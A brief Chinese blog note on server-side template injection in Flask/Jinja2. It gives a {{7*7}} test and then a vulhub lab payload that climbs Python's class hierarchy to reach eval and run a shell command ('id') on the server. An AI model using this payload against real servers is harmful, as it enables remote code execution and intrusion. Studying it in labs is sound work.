Flask(Jinja2) 服务端模板注入漏洞(SSTI)

Flask(Jinja2) 服务端模板注入漏洞(SSTI)

参考 https://www.freebuf.com/articles/web/260504.html

验证漏洞存在 ?name={{7*7}}

回显49说明漏洞存在

vulhub给出的payload:

python 复制代码
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
相关推荐
RSABLOCKCHAIN3 小时前
AI Agents in LangGraph-2
人工智能·python
WA内核拾荒者3 小时前
WhatsApp 账号异常检测的自动化告警系统设计
数据库·python·自动化
码流怪侠4 小时前
【GitHub】Bend:让 GPU 并行编程像写 Python 一样简单
python·github
2401_894915535 小时前
GEO 搜索优化完整源码从零部署:环境配置、集群搭建全流程
开发语言·python·tcp/ip·算法·unity
zhiSiBuYu05177 小时前
Python3 模块开发与应用实战指南
python
databook7 小时前
用方差阈值过滤掉“惰性特征”
python·机器学习·scikit-learn
Freak嵌入式7 小时前
MCU 低功耗模式解析:时钟门控、电源门控、深度休眠
人工智能·python·单片机·嵌入式硬件·开源·依赖倒置原则·micropython
全云在线allcloudonline8 小时前
等保服务公司能提供什么?广东创云科技一站式等保流程解析
网络安全·等保·企业服务
weixin_BYSJ19878 小时前
springboot校园自习室管理小程序---附源码32142
java·javascript·spring boot·python·django·flask·php